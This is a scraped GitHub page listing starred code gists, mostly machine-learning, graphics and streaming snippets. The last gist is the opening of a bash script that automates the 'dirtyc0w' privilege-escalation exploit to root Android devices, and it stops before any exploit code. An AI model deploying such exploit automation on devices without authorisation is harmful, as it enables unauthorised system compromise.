Skip to content

Instantly share code, notes, and snippets.

View taesiri's full-sized avatar
😎
Keep Hacking!

Mohammad Reza Taesiri taesiri

😎
Keep Hacking!
View GitHub Profile
@aparrish
aparrish / understanding-word-vectors.ipynb
Last active April 9, 2025 14:04
Understanding word vectors: A tutorial for "Reading and Writing Electronic Text," a class I teach at ITP. (Python 2.7) Code examples released under CC0 https://creativecommons.org/choose/zero/, other text released under CC BY 4.0 https://creativecommons.org/licenses/by/4.0/
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@Ashioto
Ashioto / ActorCritic.py
Created April 18, 2017 07:51
Solution to Continuous Mountain Car
import tensorflow as tf
import numpy as np
import os
import gym
import time
import sklearn
import itertools
import sklearn.pipeline
import sklearn.preprocessing
from sklearn.kernel_approximation import RBFSampler
@prakashjayy
prakashjayy / Tranfer_Learning_Keras_02.py
Last active September 17, 2019 17:10
Transfer Learning using Keras
from keras import applications
from keras.preprocessing.image import ImageDataGenerator
from keras import optimizers
from keras.models import Sequential, Model
from keras.layers import Dropout, Flatten, Dense, GlobalAveragePooling2D
from keras import backend as k
from keras.callbacks import ModelCheckpoint, LearningRateScheduler, TensorBoard, EarlyStopping
img_width, img_height = 256, 256
@prakashjayy
prakashjayy / Transfer_Learning_Keras_01.py
Last active June 21, 2019 19:23
Transfer Learning using Keras
from keras import applications
from keras.preprocessing.image import ImageDataGenerator
from keras import optimizers
from keras.models import Sequential, Model
from keras.layers import Dropout, Flatten, Dense, GlobalAveragePooling2D
from keras import backend as k
from keras.callbacks import ModelCheckpoint, LearningRateScheduler, TensorBoard, EarlyStopping
img_width, img_height = 256, 256
train_data_dir = "data/train"
@Brainiarc7
Brainiarc7 / ffmpeg-livestream-to-streaming-sites-vaapi-nvenc.md
Last active August 18, 2024 02:58
ffmpeg livestreaming to youtube via Nvidia's NVENC and Intel's VAAPI on supported hardware

Streaming your Linux desktop to Youtube and Twitch via Nvidia's NVENC and VAAPI:

Considerations to take when live streaming:

The following best practice observations apply when using a hardware-based encoder for live streaming to any platform:

  1. Set the buffer size (-bufsize:v) equal to the target bitrate (-b:v). You want to ensure that you're encoding in CBR mode.

  2. Set up the encoders as shown:

@LotteMakesStuff
LotteMakesStuff / ReadOnlyAttribute.cs
Created January 17, 2017 00:17
ReadOnly property drawer for Unity~ Add a [ReadOnly] attribute to a property to make it show up as read only in the inspector
// NOTE DONT put in an editor folder
using UnityEngine;
public class ReadOnlyAttribute : PropertyAttribute { }
@thacherhussain
thacherhussain / usingTensorFlow_FastStyleTransfer.md
Last active October 12, 2017 09:31
Using TensorFlow for Fast Style Transfer

Using TensorFlow for Fast Style Transfer

Directions for using TensorFlow with the Fast-Style-Transfer repo.

This aritcle assumes that you followed the setup directions found here OR that you have python correctly setup on your machine with an anaconda environment that has TensorFlow installed.

Clone the Fast-Style-Transfer repo: $ git clone https://github.com/lengstrom/fast-style-transfer.git

$ cd fast-style-transfer

@soply
soply / disp_multiple_images.py
Last active November 22, 2024 04:48
Plot multiple images with matplotlib in a single figure. Titles can be given optionally as second argument.
import matplotlib.pyplot as plt
import numpy as np
def show_images(images, cols = 1, titles = None):
"""Display a list of images in a single figure with matplotlib.
Parameters
---------
images: List of np.arrays compatible with plt.imshow.
@Arinerron
Arinerron / root.sh
Last active June 10, 2024 17:35
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";